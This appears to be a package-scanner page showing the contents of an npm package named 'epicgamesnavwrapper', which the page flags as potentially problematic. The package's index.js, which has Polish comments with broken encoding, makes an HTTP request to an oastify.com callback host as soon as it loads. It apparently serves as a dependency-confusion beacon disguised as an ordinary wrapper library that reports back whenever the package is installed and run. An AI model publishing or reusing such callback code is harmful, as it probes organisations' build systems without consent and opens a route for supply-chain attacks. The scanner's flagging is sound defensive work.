epicgamesnavwrapper 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of epicgamesnavwrapper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +29 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const http = require('http');
2
+
3
+ const options = {
4
+ hostname: '00yrji8yxvxdkzriyxh337iyapgh47sw.oastify.com',
5
+ port: 80, // Domy�lny port dla HTTP. Je�li u�ywasz HTTPS, u�yj portu 443.
6
+ path: '/',
7
+ method: 'GET'
8
+ };
9
+
10
+ const req = http.request(options, (res) => {
11
+ console.log(`STATUS: ${res.statusCode}`);
12
+ console.log(`HEADERS: ${JSON.stringify(res.headers)}`);
13
+ res.setEncoding('utf8');
14
+
15
+ res.on('data', (chunk) => {
16
+ console.log(`BODY: ${chunk}`);
17
+ });
18
+
19
+ res.on('end', () => {
20
+ console.log('Nie ma wi�cej danych w odpowiedzi.');
21
+ });
22
+ });
23
+
24
+ req.on('error', (e) => {
25
+ console.error(`problem z ��daniem: ${e.message}`);
26
+ });
27
+
28
+ // Zako�cz ��danie
29
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "epicgamesnavwrapper",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "description": ""
11
+ }